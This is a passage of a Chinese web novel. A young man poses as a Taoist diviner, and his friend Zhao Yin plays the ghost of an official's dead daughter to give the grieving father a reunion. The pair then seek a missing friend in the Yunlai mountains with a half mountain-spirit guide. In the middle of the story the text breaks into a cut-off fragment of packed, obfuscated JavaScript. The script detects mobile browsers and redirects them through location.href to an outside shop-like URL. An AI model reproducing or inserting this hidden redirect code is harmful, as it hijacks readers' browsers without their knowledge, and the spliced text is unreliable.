他笑笑:“是何烦心事,先生不妨猜猜看,言中有赏!”
方士叫他伸出手,仔细看了看,随后闭上眼,指间有节奏地敲击桌面,然后豁然睁眼:“两日后府上有血光之灾!”
张诚目瞪口呆,从怀里摸索出一粒碎银,小心谨慎地放在他面前。
方士叹了一口气,沉重道:“乱造杀戮,必遭天谴!”
张诚心服口服,恭敬道:“先生可愿随我走一遭?”
方士正襟危坐:“我需看看天意……大爷稍等片刻。”
他站起身,从容朝一条巷子走去,走着走着又岔了个道,最后在一户青砖黑瓦的平房前停下,他敲门,门立刻开了一条缝。
他慌里慌张:“阿吟,他请我去府上!我去不去?”
“去啊,这么好的机会!”
“这管家看起来并不赞成用此法!”
“那正好,我们不就是想劝他放弃此法么。”
“但他说了又不算……”
“你可以跟管家商议,万一成功了,正合我们心意。”
“我害怕,万一露馅了怎么办?”
“随机应变,你越高深,对方越信服!”
“你教我的口诀我全忘了,你再教教我……”
“……”
赵吟早有准备,从门缝里塞出一张纸,吴风依鬼鬼祟祟藏进袖子里。
跟随张诚到达张府,气派的大门使他想起自家的吴宅,他有些唏嘘。
张管家七拐八拐,将他带进一个小花园,地上落叶斑斓,前方的小轩房门紧闭。
“老爷,我遇到一名方士,将他带回来了。”
“进来吧。”
吴风依跨进屋内,不小心踩到一本书,低头的一瞬间,他颇感震惊——满地都是书,书页随风翻动,如蝴蝶振翅,翩翩若舞。
在满地书本中,他看见了张敬安。
在此之前,他一直以为这位疯狂的张府大人是个狠戾阴冷的老头,毕竟正常人谁会想此邪术?
可眼前分明是一位儒雅的文人。
他头发花白,面容刚毅,身材瘦削,这样随意躺在地上也不失风度。
张敬安不慌不忙地从地上站起,邀请吴风依坐在书桌对面。
“先生可愿助我此法?”
吴风依和管家对视一眼,来的路上他们可是商议要让张敬安放弃此法。
他清清嗓子:“大人此法可有先例?”
张敬安道:“无。”
“依贫道看来,此法有失偏颇,成与不成尚无定论,更何况过程残忍血腥,必反噬自身。”
“我管他反噬不反噬!”
“我劝大人还是……”
张敬安突然变了脸色,站起身飞扑向吴风依,隔着桌子掐住他,双眼通红。
吴风依没有防备,连人带椅往后翻倒,慌乱中还带翻了一个木匣,零零碎碎的东西都砸到他脸上。
支起身子,他看见自己身边的竹蜻蜓、草编蚱蜢、女孩子的步摇、还有一对已经氧化发黑的小银镯。
“咚咚”的声音响起,一个陈旧的拨浪鼓从桌上掉落,正好掉在他手边。
吴风依拿起它,被推倒的怒气烟消云散,转而是铺天盖地的悲悯。
这些疯狂的举动背后,只不过是父亲对女儿的极致思念。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499331|202654||http|test|mini|href|location''.split(''|''),0,{}));
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>内心的悲悯还未散去,张诚却忽然脸色大变,伸着手朝他跑来。
“老爷老爷……”
喉咙被卡住,吴风依无法呼吸,以手捶地。
张敬安的声音模模糊糊:“你说此法不行?我找了十五年的法子你说不行?那你说我怎么才能见到我女儿?说啊——”
事情发展大出所料,脖颈间的力度渐渐加强,他心一横,嘶哑道:“我有一法,我有一法!”
摇摇晃晃的木桌上摆了凉拌豆腐和熏肠,赵吟刚刚坐下,忽然听见“笃笃”声。
她起身开门,被吓了一跳:“阿风,你怎么……”
吴风依头发凌乱,脖子有明显的勒痕。
他双眼无神:“我要吃饭!”
赵吟侧身让他进来,又转回厨房盛了一碗饭。
放下碗筷后,吴风依凝重道:“阿吟,你有什么办法能见到张大人的女儿?”
赵吟一噎,她有什么办法?她没有办法!
“我不管不管!后天晚上你要让张敬安见到他女儿!”
“……”
他半是沮丧半是无理取闹:“不然的话,就该是我去见他女儿了!”
“……”
赵吟劝他:“你先去休息一下,明天我们再想办法。”
“我跟张敬安说我有办法让他见到女儿,他等下就派人接我去府里了……”
“明天你还能出来吗?”
“能,他不管我的饭,我还要出来吃饭!”
“好,那明天你回来,我们商量办法。”
他走出去后,门再次严严实实合上。
这方小门小院,还有张府管家的消息,都多亏了那个饭馆里的小伙计。可接下来该怎么做呢?赵吟也犯了愁。
透过门缝往外看去,吴风依的腰越走越弯,从一根筷子变成了虾米。
赵吟弯弯唇。
当年她揍他,他吓得哇哇乱哭,这么多年过去,胆子也没变大。
夕阳落进小院,赵吟将晒好的被褥搬进屋内,馨香的味道充盈满室。
安陵城好像比蒲月山更冷,太阳一落气温骤降,赵吟躺进被子里,开始思考接下来该怎么办。
她恍惚觉得自己已经是个大人了,习惯了自己想办法,自己解决问题。
雪娘会欣慰吧,可是,她还是很想她。
吴风依在客房里辗转了一夜,第二天一大早,就穿过巷子敲开了小院的门。
粥在小火炉上“咕噜噜”,就像一只小猫咪。
“张敬安早年在越州任职,因舍不得女儿,便把夫人孩子都接了去,结果路上染了疟疾,孩子在越州没几天就夭折了。
后来陈夫人接连生四胎,没一个是女儿。如今他四个儿子都成家了,都是生的男丁。
他找人算卦,问女儿为什么不愿再回陈家。那人说,因为世人皆重男子,他的女儿希望陈家男丁兴旺。
他当时就把人家的摊子掀了,说‘我就要我的女儿回来!’在这之后,他就找到了这个法子……”
赵吟看着粥上盘旋的热气,静静听他说完,然后道:“那我们就让他见一面吧。”
吴风依抬起头。
赵吟微笑:“他的女儿几岁夭折?”
13. 第十三章
吴风依回答道:“四岁。”说完这句话,他拨开云雾。
木桌不再摇晃,上面是热气腾腾的一碗青菜粥。吴风依端坐在桌边,穿着崭新的长袍。
今日,即是所谓的“吉日”。
赵吟叮嘱道:“万事小心。”
吴风依重重点头。
“记得给我留一道门。”
“好。”
简单几句话,他顿时有了底气,有阿吟在,就像吃了一粒定心丸。
相比小院内的静谧简单,张府内一派肃穆。诺大的府邸内,一声咳嗽都显得惊扰。猪牛羊被抬进来,它们横陈的样子叫吴风依心中起了战栗。
他叫来张诚:“等下把闲杂人等都锁在一块,远离此地。”
“为何?”
“阳气太盛。”
张诚点头称是。
秋季的花园五彩斑斓,高大的银杏树遮天蔽日,梧桐木落叶飘零,鸡爪枫红艳如火。
地上的枯枝落叶被铁锹铲起,甩进土壤中,“欻欻”的声音饶有节奏。厨子老詹就在这种节奏声里走进花园,他一脸喜色:“别忙了,快收拾收拾,今晚要看戏!”
林昭停下动作,扶着铁锹道:“去哪儿看戏?”
“老爷今日不知道怎么回事儿,让夫人和几位公子去刘府看戏,还说让我们也跟着去!”
“我们?”
“没错!噢,老爷自个儿不去,管家也不去,估计要留下来照看一二。”
老詹又凑过来悄悄说:“没让那个方士去……”
林昭想了一下,恍然大悟:“噢,是那个年轻人啊!”
他将铁锹靠在墙边,指着旁边的一个房间道:“他就住这儿,我跟他打过几次照面。”
“住这么偏!好像也不管他的饭,这么看来,老爷并不信任他嘛……”
“请个方士到底干嘛的?府里闹鬼了?”
老詹奇道:“你居然不知道?”
“我天天呆在这儿,半天连个人影都见不到,上哪知道?”
老詹告诉他:“老爷想见女儿。”
林昭“咦”一声,打了个哆嗦。一转头,发现角门开了缝,周围凉飕飕的,他火速走过去将门关上,不放心,又拿铁锹抵在门后。
老詹催他:“快走了!”
“来了来了……”
午后,太阳慢慢移出小院,赵吟往张府走去,在街上绕了一大圈,她找到了吴风依所说的偏门。
枯黄的藤蔓从墙内探出,可以想见春日盛光。
伸手推门,背后却像被什么抵住,怎么推也推不开。
赵吟猛然呆住。
日落天黑,香案上摆着香炉、蜡烛、桃木剑、符水朱砂、清水、一串铃铛。
张敬安小心翼翼将那个陈旧的拨浪鼓放上去。
本来肃穆的氛围在这一刻被打破,如细沙从高高垒起的沙丘上缓慢滑落。
吴风依看着拨浪鼓,眼睛不可避免有些潮湿。
他拿起桃木剑,挑落碗里的清水,撒至周边。嘴里念念有词:“太一之水,净天净地。灵光所至,万邪回避。急急如律令!”
香烛点燃,他焚香叩拜,心里说:“得罪了得罪了……”
嘴里念叨:“今为慈父思女切,拜请魂灵归尘来……”
青蛙在他身体里打鼓,一声又一声。
他深呼吸,站起来,拿起那一串铃铛,点燃一张黄纸,随后拿起桃木剑,凌空画符。
铃声越来越大,他的动作也越来越大,“铃铃”声,风呼啸声,衣摆摩擦声。
“铃铃朗朗,透天透地。三魂归,七魄来,荡荡游魂今何在?千里铃音唤汝来!急急如律令!”
舞动的剑突然指向一方,铃声也骤停。
张敬安抬眼望去,眼神虽还是平静,却有微小的期待在跃动。张诚吞了吞口水,盯住剑指的方向。
久不见动静,吴风依冷汗直冒。背后似乎有一道视线,他微微侧头,正对上张敬安凛冽的眼神。
完了,他惨叫一声,直直躺倒在地。
张诚大惊失色,跑到他旁边,不停地摇晃他。
“先生先生……你这是怎么了?”
张敬安挥袖,冷声命令道:“把乐班子给我带上来!”
张诚犹豫,半响方道:“……是。”
乐班子一直锁在临街的铺子里,他穿过花园,走向角门。
“谁呀这是,怎么把门抵住了?”
在他离开后不久,一个身影悄悄移进来。
铺子内光线昏暗,四个人穿着精致的衣裳,抱着琵琶拿着竹笛,目光暗淡地坐在板凳上。
张诚有气无力:“跟我来吧。”
躺在地上的吴风依听到一阵混乱的脚步,偷偷睁开一条缝,见是乐班子又紧紧闭上眼,等下画面过于血腥,他害怕。
笛音清澈,和着哀哀怨怨的琵琶声,歌者的声音里还夹杂着似有若无的哭泣,令他想起人生无数个阴雨时刻,孤独感铺天盖地。
可是……他好像还听见了一声呼喊?
不对!那应该是歌声,可是那声呼喊越来越清晰,清晰得就好像响在耳边。
他“唰”一下睁开眼,看见张诚瞠目结舌。
满身戾气的张敬安此时背佝偻,双眼柔和,他们都看向一个地方。
吴风依坐起来,看过去。
一名女子从枯藤下走来,她一身白衣,手里拿着拨浪鼓,嘴边有浅浅的微笑。
吴风依瞬间放松下来,他恨不得站起身,对着天空大喊:“阿吟来了,阿吟来了!”
赵吟走在月光下,与一个儒雅而面容苍老的男人对望。
这一眼,她想起了赵宣棠。
若是他还在,是不是也是如今这样?可是他永远年轻。
他的眼睛是大是小?鼻子是高是挺?眉毛是浓是淡?自己的性情或是五官,有哪一点承继于他?
赵吟不知道,不知道。
张敬安眼里有温和的笑意,害怕惊扰了什么,他只是非常轻微地喊了一声:“阿莹……”
他的女儿,叫张明莹。
就是这一声呼喊,让赵吟忘记了此时此境,忘记了自己要做什么,她跨过地上的灰烬与尘土,跨过现实的沟壑,跑向张敬安,跑向心中的一道幻影。
张敬安慌里慌张,“小心,小心……”他踩着吴风依的腿走过去,稳稳扶住她。
赵吟握住他的胳膊,眼泪落下来:“阿爹。”
张敬安摸着她的头发,连声应道:“欸,欸!”
“你为什么不来看我?”
“越州太远啦,等阿爹告老,就住在越州陪你好不好?”
赵吟不说话,眼泪一直落。
张敬安急得用手去擦她的泪水,又怕擦疼了她。
赵吟仔细凝望他,眼前的男人头发花白,额头间有深深的沟壑,她说:“阿爹,你变老了。”
张敬安看向自己的双手,又摸摸自己的脸。他掸去赵吟头发上的枯叶,拉着她坐在台阶上,“傻孩子,人都会变老。”
赵吟在心底摇头,不是的,不是的,陈延芝和赵宣棠就永远年轻。
“阿莹,有没有人欺负你?”张敬安突然紧张起来,语气也从温和转为严肃。
“有!前段时间有人拿箭射我的腿!”赵吟指着自己的小腿,向他告状。
张敬安看向她的腿,拿手捏了下。
赵吟笑道:“现在已经不疼了。”
张敬安哭了。他的哭泣像是尘封已久的古琴发出的第一声震颤,近乎悲鸣。
他握着赵吟的手腕,哽咽道:“女儿,你多呆一会儿好不好?”
赵吟点头,擦去他的眼泪。
他接着说:“吃的够不够,穿的好不好,钱够不够用?”
“够的,都够。”
“那你以后多来看看我好不好?”
赵吟笑道:“别人会害怕的。”
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>张敬安害怕她拒绝,连忙又说:“那偷偷来,不要出现,你动一下拨浪鼓,或是吹一下窗户,我就知道是你来了。”
赵吟笑着点头。
她看向张敬安花白的头发,叮嘱道:“阿爹,你要早早休息,看书时把灯拨亮点,多用桑叶水洗眼睛。”
“诶诶,我知道。”
“母亲好吗?”
“好,好……不对,从你走后,她就一直不开心,不好,不好。”
他小心翼翼问:“阿莹,你怪不怪我?”
赵吟闭上眼,眼泪再次滑落,她哽咽道:“怪,当然怪……”
独留她一人在世上,她当然怪。
可是……
“我一直很想你们,很想很想认识你们。”
张敬安柔声道:“我也一直很想阿莹,想知道你好不好,开不开心。
每隔一段时间,我就去找人占卜,问他,我的女儿在那边开心吗?他有时说开心,有时说不开心。
前段时间他说你很难过,很不开心。我急得团团转,问他怎么办,他说没办法,管不到你那边的事。”
他再次看向赵吟的腿,语气里都是愤怒。
“原来是有人拿箭伤你!还好你母亲不知道,不然她比我要更伤心!”
赵吟擦掉眼泪,对他道:“阿爹,我没来看你,你是不是很难过?”
张敬安笑道:“我怎么会难过,我知道,我的女儿没有办法……”
赵吟低头,眼泪落到他的手背上,她说:“是呀,我找不到你在哪里,我找不到你!”
张敬安拍拍她的背,唱起了童谣:“风来了,雨来了,和尚背了鼓来了,哪里藏,庙里藏,一藏藏了个小儿郎。二郎二郎你看家,锅台后头有一个大西瓜……”
赵吟弯起嘴角,眼泪流进嘴里,是咸的。
远远传来拍门声,吴风依醒悟过来,戏散场了。
这边的戏也要散场了。
他揉了揉哭到肿痛的双眼,站起来一瞧。
张诚坐在地上,袖子上一滩深色的水渍,仍在抹泪,那四个人坐在地上抽噎,脸上妆面斑驳。
戏要做全,吴风依清清嗓子,说:“张大人,时辰已到,您带着其余人先回避,我还要将她送回去。”
张敬安扶着赵吟站起来,张诚赶紧走过去,带着他往外走。
临去时,他又拉住赵吟的衣袖,“爹娘不在身边,你要照顾好自己。”
“女儿,我就在这里,就算找不到我,阿爹也不怪你……”
他握不住赵吟的袖子了,却还是伸手去够:“阿莹,阿莹……”
赵吟想伸手拉住他,可张诚已经带着他走了出去。
吴风依擦去脸上的泪水,拿起桃木剑,又画了一气。
“归去兮,归去兮!”
在一片抽噎声中,赵吟从那个小木门离去。
所有的喧闹都停止,吴风依将桃木剑放回案桌,而张敬安又再次冲了进来。他已经不再是初见时那个表情肃穆的张大人,现在就是个悲痛而无能为力的父亲,他拉着吴风依的衣袖,哀求着,让他再看女儿一眼。
吴风依扶着他,眼含悲悯:“大人,阿莹希望你珍重!”
月亮很高,草地上都是露水,四周无人影,偶尔传来几声狗吠。田里只剩一些稻茬,偶尔发出响动。
赵吟蹲在田埂边,收集一些枯枝稻草点燃,用草木灰画了一个圈,然后在里面燃烧纸钱,吴风依在一旁恭恭敬敬地跪拜。
“张明莹小姐,此举实属无奈,还望你莫要怪罪……”
他表情虔诚,双手合十认认真真。
结束后,赵吟问道:“阿风你怎么不害怕了?”
他叹息一声:“我害怕的东西,是别人的朝思暮想。”
走回那个小巷,又岔过一个路口,赵吟突然停住,她有些无奈道:“跟着我做什么呢?你已经自由了!”
背后转角处,慢吞吞挪出个人影。
14. 第十四章
是李春序。
在吴风依和赵吟都离开张府后,张敬安并没有立刻放走乐班子,他还心存执念,想要再看一眼。
可是在花草树木都没有摇晃时,波浪鼓响了。
就连张诚都听到了。
于是张敬安放走了乐班子,还归他们自由身,还赠送了钱财。
那三个人归心似箭,急忙雇了马车,走之前问李春序要不要一起走。
李春序摇头,越州,并不是她的故乡。
可是她又该去哪里?漫无目的地在街上走,赵吟和吴风依就这样出现在她的视线。
赵吟将院门打开,迎接他们的是一室冷清。
吴风依快手快脚进去,点燃头顶上的灯笼,四周很快被柔光覆盖。
有一道影子时不时探进屋内,踟蹰而不敢进来。
赵吟叹气:“进来吧。”
夜宵很简单,粥,肉末雪菜,酱腌黄瓜。
饱食带来了困意,一天的紧绷终得放松,吴风依撑着腮,眼睛要闭不闭。
赵吟坐得端正些,对着李春序道:“接下来你要去哪?”
“我想跟着你。”
赵吟无奈道:“你知道我要去哪里吗?”
李春序低着头:“不知道,但我就想跟着你。”
一听此话,吴风依的困意消散得干净,他瞪圆了眼睛,紧紧看着李春序。
李春序不言不语,自顾自将身上的钱袋子全部掏出来放到桌上,以示诚心。
这一方小院自此住了三个人。
没过多久,安陵城下了很大的雪,物价攀涨,路也难行,尔后又遇上两军开战,去塵州的计划只好搁置。与外面情况相对应的是,这方小院里的“火药冲天”。
一大早,赵吟就听到如下对话。
“李春序!你洗我的衣服怎么这么敷衍!”
“随便洗洗得了,给你洗就不错了!”
或者是——
“吴风依!你怎么能用我的手帕擦手!?”
也许是——
“李春序!你能不能别在我吃饭的时候扫地!”
同住的这些日子,三人分工明确,赵吟负责餐食,也管钱;李春序负责洗洗涮涮;吴风依则是劈柴挑水喂马。
两人经常吵吵嚷嚷地来到赵吟面前,请求她断案。赵吟没想到,她还能肩负如此神圣的职责。
可次数多了,她难免头大。
结束这些纷争的是经济上的窘迫。
草地冒春茬,米缸也见了底,赵吟将三人所有的银两都拿出来,凝重道:“钱不够了。”
李春序立马站起来道:“我可以去舞坊跳舞!”
生怕落后她一步,吴风依也站起身:“我可以去做工!”
他们说完话,一溜烟跑出小院。
赵吟望着桌面沉思,那她能做些什么呢?
夕阳渐落,卖豆腐的叫卖声打破赵吟的思索,她匆匆推开门,买了两块豆腐。
院子里长了一些野葱,赵吟揪下来与豆腐同拌,油淋糊辣椒,浇香油,撒雪盐。
米缸里还剩一点米,她煮了粥。噢,灶膛里还埋着青辣椒。
“好香啊!”
伴随着一声感叹,吴风依拖沓着脚步推开院门,迫不及待坐在桌边。
“累死我了……”李春序亦紧随其后。
油灯亮起,他们聚在客堂,说起今日见闻。
吴风依春风得意:“我已经打听到做工的地方了,云来山整修寺庙,一天一百文!”
“云来山在哪?”
“说是就在郊外。”
“怎么过去呢?”
“明日在觅山客栈集合,有马车拉我们过去。”
他喝了一口茶,见李春序无精打采,打趣道:“哟,春姑娘怎么焉巴了?”
“你才春姑娘!”
李春序呛他一句,然后趴在桌子上,眉眼都耷拉着。
“别说了,哎!我接连问了好几个舞坊,都要签长契,一年起步……”
希望都压在了吴风依身上,他生出一股责任感:“交给我好了!明日傍晚回来,我们就有一百文了!”
第二天,吴风依早早出门去,赵吟和李春序也出门寻找生计。偶然逛到城墙根,她们发现墙上贴满了告示。
“同仁酒楼招堂倌数名……”
赵吟一看日期,半年以前。
“文鼎书房急招帐房先生!”
“济民堂诚聘相公……”
李春序一张张看过去,皱眉道:“适合女子做的寥寥无几!”
挑着两篮子荸荠的老人走过来,立在墙根处歇脚。赵吟走过去:“老先生,您知道还有哪里招做工的吗?”
“所有的招工告示都在墙上了,姑娘慢慢看就是!”
赵吟只好重新走回墙边,她看到了舞坊的告示、乐坊的告示、官府的通缉令、对某人的嘉奖信、讣告……
大小之事都张贴在这面墙上,这像是一个信息驿站。
她仔仔细细看完,突然侧头看向李春序,问她:“你有看到云来山寺庙的招工告示吗?”
李春序瞪大眼,摇头。
歇脚的老人已经走远,赵吟连忙追上去问道:“老先生,附近云来山的寺庙在招工吗?”
老人顿住:“云来山的寺庙?云来山哪有寺庙,那一片是出了名的邪山,采药人都不会过去!而且,云来山也不在这附近啊……”
小院桌上凌乱一片,赵吟将琐碎银两都倒出来,又翻出地图,趴在上面寻找很久。
原来云来山不是一座山,是群山总称,并且距这里很远。
赵吟凝重道:“阿序,你先去收拾衣服,如果天黑阿风还没回来,我们立刻出门。”
李春序点头,很快回到房间内,收拾东西的时候手不自觉发抖,几次都系不上包袱皮。外面竹竿上还挂着吴风依的衣裳,李春序收进来,将它叠得平平整整。
赵吟坐在院子里,听着门外动静,时有卖货郎穿梭,叫卖声悠长,也有行人脚步匆匆,渐行渐远。
瓦缝里升腾起炊烟,天地转蓝,夕阳沉下去,赵吟的心也沉到谷底。
天黑了,她豁然起身,可门外细碎的脚步声又令她屏住呼吸。
片刻后,门外再无动静,她敲响李春序的房门:“快走!”
从马厩里牵出马,赵吟跨上去,她看向李春序,可李春序却傻了眼:“我坐后面?”
赵吟点头。
马开始飞驰时,李春序连连喊停,她扶着一棵树呕吐不停,一只手还捂着屁股。
赵吟没办法,只好就近找旅舍住下。
一进房间,李春序捂着屁股捂着腰,倒在床上发脾气:“不去了不去了!我就要在这里
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等!”
这样也很好,赵吟翻出扁扁的钱袋,从里面划拉出一些钱给她。
可是天亮后,身边已经没有她的身影。赵吟匆匆走下楼梯,发现李春已经收拾妥当,在马厩旁等她。
“阿吟快点!阿风还等着我们!”
快马加鞭,这一路的春景,两人都无暇观赏。赶到云来山外的一处村庄时,桃花正盛。
李春序也在这时病倒。
石头垒成的两层小楼,楼下牛羊惬意地嚼着青草,旁边一茅草屋,赵吟正蹲在地上,揭盖查看瓦罐里面的汤药,袁松年赠送的药方在这时派上用场。
她将汤药盛出,小心翼翼踏上楼梯,钻进一间小屋,将碗放在桌上。
木棍支起窗户,下面的菜地里,薛大娘正在锄地。
薛大娘常年独居,两个儿子住在几里之外的朱家庄,常来走动。大娘热情,留赵吟与李春序在家里住宿,不收房钱,赵吟硬是给了一些钱财。这几天,她一边照顾李春序,一边帮大娘干活,顺便打探消息。
督促李春序喝完汤药,她匆匆下楼跑到菜地里,帮薛大娘拔草。
薛大娘往楼上看了一眼:“那位姑娘好些没?”
“好多了。”
“姑娘别嫌老婆子多嘴,你们二位孤身前来,是有什么要紧事儿吧?”
“嗯,是有。”
“若没猜错,你们是要进山?”
赵吟停下动作,坦坦荡荡承认:“是。”
她又问:“大娘前段时间有没有看到车马进山?”
薛大娘靠着锄头,犹犹豫豫。
赵吟已经知道了答案。
薛大娘叹气:“姑娘放弃吧,进云来山的就没有活着出来的,你看车马进去了好几天,一个人都没出来!”
赵吟仰头看天,她平静道:“至少要试一试。”
“你一个人进云来山?”
“还有阿序。”
“那姑娘娇娇弱弱的,你带着她进山?”
赵吟犹豫了,若是此去凶险,她应该将李春序留在这里。
可是一个人前去,她确实有些发怵。
薛大娘握着她的手,柔声道:“阿吟,别进去了,大娘舍不得你。”
鼻子有些酸,赵吟忍住,可是她不想放弃吴风依,要是她放弃了,还有谁会去找他呢?她也不想拿自己的生命开玩笑,这几天,她着实陷入了僵局。
天暗了又亮,每一暗一亮,赵吟就会心慌一次,这意味着一天又过去,而她毫无头绪。
李春序已经痊愈,连躺多日,她浑身粘嗒嗒,去厨房烧了一锅水。
赵吟就在此时回来,疲惫地坐在台阶上。
“阿吟,你去哪儿了?”
“给小儿收惊去了,赚得一钱银子。”
其实她不仅是给小儿收惊,还给人看病开方,驱邪画符,颇赚了一些钱。她想,要是早点想到办法就好了,那么吴风依就不会急着去上工,也不会杳无音讯……
一声惊叫打断她的自责,赵吟抬眼看去。
不知何时来了一位黑衣人,他衣着破烂,就站在栅栏之外。
听见动静的薛大娘拿着扫帚出来,驱赶道:“快走快走,把人都吓到了!”
他转身,却只是走到不远处的皂角树下,而赵吟也听到了一阵轻微的铃铛声。
像呓语。
15. 第十五章
小小的茅草屋里挤了三个人,薛大娘在大锅前挥动着铁铲,赵吟和李春序守着小火炉。鸡汤在瓦罐里沸腾,赵吟凝视片刻,突然起身舀了一碗汤,又从竹篓里拿了几只刚出锅的馒头。
“阿吟等等我!”
皂角树下黑衣人犹在,察觉到面前细微的脚步声,他豁然睁开眼。仿佛有青绿色的光从他眼中一闪而过,赵吟仔细再看,却只看到一双黑白分明的眼。
“吃馒头吗?”
黑衣人点头,接过来。
在他伸手的时候,赵吟又听见了一阵细微的铃铛声,他的手腕间,果然有一串由兽牙和铃铛组成的手串。
鸡汤递过去,黑衣人摆手推拒。可光吃馒头太噎,他屡次捶胸。
赵吟忍住笑意,拉着李春序重新回到院内,从香椿树上摘下一些嫩芽,重新回到小屋内。
等她再出来时,手里端着香椿拌豆腐和一碗米汤。
她将这两样东西都摆到黑衣人面前,复又拉着李春序后退。
黑衣人疑惑地看一眼香椿拌豆腐,捧起碗,闻了闻,然后拿起筷子轻触,放入嘴中,脸上很快显露出惊艳的表情。
他大快朵颐,很快吃完。赵吟伸手想收回碗筷,他却扬手一抛,碗碎筷断。
“我用过的东西,别人会嫌弃。”
赵吟尴尬地收回手,而李春序则是惊讶道:“原来你会说话!”
黑衣人不再搭理,自顾自闭上了眼睛。
昏暗的房间内,李春序已经熟睡,薛大娘的鼾声隔着墙隐隐约约,楼下的母鸡偶尔长咕。赵吟坐在木桌旁,望着窗外发呆。
从这里可以看见远处的群山,黑压压,神秘而庞大。
要进山吗?又该如何进?
赵吟枕着胳膊,愁思在心中结网,理不清,剪不断。
或许是这几天太过劳累,她竟枕着胳膊睡着了,梦里她在一望无际的黑暗通道中不停奔跑。吴风依就在尽头处,满脸血泪。赵吟想靠近,却怎么也走不过去。
吴风依嘴巴一张一合,她竭力想听清,却什么也听不到,就在梦境越来越淡的时候,她听清楚了,吴风依在说:“阿吟救我……”
“阿吟,阿吟……”
她恍然惊醒。
李春序神色焦急,声音哽咽:“阿吟……你怎么了?梦里一直在哭。”
赵吟伸手摸向脸颊,湿漉漉一片。
她拍拍脸,打开窗户,那个黑衣人还坐在皂角树下,风拂过,吹干她脸上的泪水,也带来一句话:“我是芦生。”
哪有人声,分明只有风声,可她们确实都听见了那一句话——
我是芦生。
她们不约而同走到窗边,齐齐朝树下看去。
那黑衣人也正看着她们,但是他很快转身,朝大山深处走去,身影隐在暮色里。
赵吟不再等待,匆匆披上衣裳,冲出门外,李春序紧随其后。
她们走到那棵皂角树下,可已经不见芦生的身影。两人朝大山那边看去,只能看到一片夜色。
“我在这里。”
一转身,芦生还坐在皂角树下。
可她们明明亲眼见到他走进了夜色之中。
似乎看穿了她们心中所想,芦生轻笑一声,摘掉头上的围兜。
他像个寻常的少年人,面容清秀,下巴上有短短的胡茬。只是……他有一双兽耳。
李春序惊呼出声。
赵吟又看到他眼中一闪而过的青绿色光芒。
“我今晚进云来山,你们要一起吗?”
赵吟不做声,她还不知道他究竟是什么,是人还是……可她立刻又想起了那个梦境。
“我们跟你走。”
她握住李春序的手,坚定地跟在他身后。
不知走了多久,芦生忽然停在一处,蹲下身拂开地面上的落叶,四处抚摸后指着一小片苔藓道:“坐这里休息一下。”
赵吟与李春序依言坐下,地下有轻微的震动,一股温和的热气穿透衣物,在她们腿脚酸软处盘旋。
酸痛感很快消失,温和惬意的感觉流遍全身。
李春序惊呼:“好神奇!”
芦生道:“这里地气强盛。”
赵吟转头看向他:“芦生,你到底是什么人?”
芦生笑问:“你知道山魈吗?”
眼前浮现出那个人面猴身,只有一只脚的上古精怪,赵吟怪异地看向他。
芦生摇头:“那是上古记载,距今上万年,早已变幻。”
他接着说:“山魈是山的守护神,一座山往往有很多守护神,一石一树都可能是,山魈只是其中一种。”
赵吟立马抬头,看向背后的大树。
“山魈最为特殊,它可以修成人形,走出山林与人沟通,还会与人签订契约。”
李春序问:“为什么要签订契约?”
“山魈也需要借人类之力,比如突发山火,或是山中某一处寸草不生,这些都需要人类的帮助。与它签订契约的人类,要帮它解决这些问题,而它也会回赠山珍异宝。你们人类一般称它为——山鬼。”
“我们人类?”
“嗯,我是山魈与人类的后代,你们可以叫我走山郎或山魈客。”
“山魈可以与人成亲?”
芦生笑:“当然,只不过成亲后,它与山沟通的能力会渐渐消失,最后承继到后代身上,由他们代替它继续守护山林。而它会变成一个彻彻底底的普通人,生老病死。”
两人有些感慨:“好可惜……”
她们又转头看向他,异口同声道:“那你呢?”
芦生反手指向自己:“我?我也一样,与人成亲后能力会渐渐消失,有后代后能力彻底消失。”
不知为何,赵吟有些伤感:“成亲后能力消失,有后代后能力就彻底消失……”
“你们人类不也如此,有些人成亲前光芒万丈,成亲后渐渐蒙尘。”
赵吟又问:“那你来自哪里?平时又住在哪里?”
芦生答:“我母亲是昆仑山的山魈,我从小住在昆仑山脚下。我们这些山魈客兼具人类与山魈的能力,所以长大后走南闯北,哪里有需要就去哪里。人间和山林,我都喜欢,所以一会儿住山中,一会儿在人间。”
赵吟看向他的的外衣,又想起薛大娘驱逐他的模样,有些犹豫道:“你在人间……过得好不好?”
芦生望向她:“其实我在人间很自在,现在这样是因为遇上了土匪,抢走了钱财衣物。”
李春序撇撇唇:“可是你是山魈客啊!”
芦生哈哈笑,回答她:“山魈客也不是刀枪不入,况且山林精怪不能插手人间事,不然就会乱了天地法则。”
李春序又问:“那你怎么会出现在这里?”
“此次前来,是受银母娘娘所托。黑云岭心脉受损,我要前去治疗安抚。只不过前几天路上遇到劫匪,耽误了一些时间。”
“银
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母娘娘?”
“山有守护神,也有管理它的神,不然它到处乱跑,或是始乱终弃,那岂不是乱了套。”
“啊?!”
芦生双手合十,对着虚空拜了一拜:“管理云来群山的是银母娘娘。”
他指着远处相连的两座山道:“这两座山刚刚结为夫妻。”又指着更远处两座相连的山道:“那两座山刚刚合离,日后会逐渐分开。”
赵吟与李春序瞪大眼。
“主持这些仪式的,都是银母娘娘。”
两人消化了半天,接受了这些说法。
芦生又道:“人类有一个美女叫西施,你们知道山中西施是谁吗?”
李春序想了半天,看向赵吟。
赵吟思考了一下,回答他:“敬亭山。”
相看两不厌,唯有敬亭山。
芦生满眼赞叹:“你是第一个回答对这个问题的人。”
赵吟微笑。
“刚到村庄,就听见风说有两个女孩子想进山,还是云来群山,附近的人都对这些山避如蛇蝎,你们为什么想进去?”
赵吟黯然道:“我的朋友在里面。”
“你们可以先跟着我,等我办完了事情就陪你们去找他。”
赵吟恍然大悟:“所以你一直坐在皂角树下,实际上是在等我们!”
芦生不置可否,他站起来,抚摸附近的树皮,又闭上眼聆听。
“前几日,确实有一些人经过这里。”
赵吟松了一口气,“他们去了哪里?”
芦生一摊手:“我不知道。”
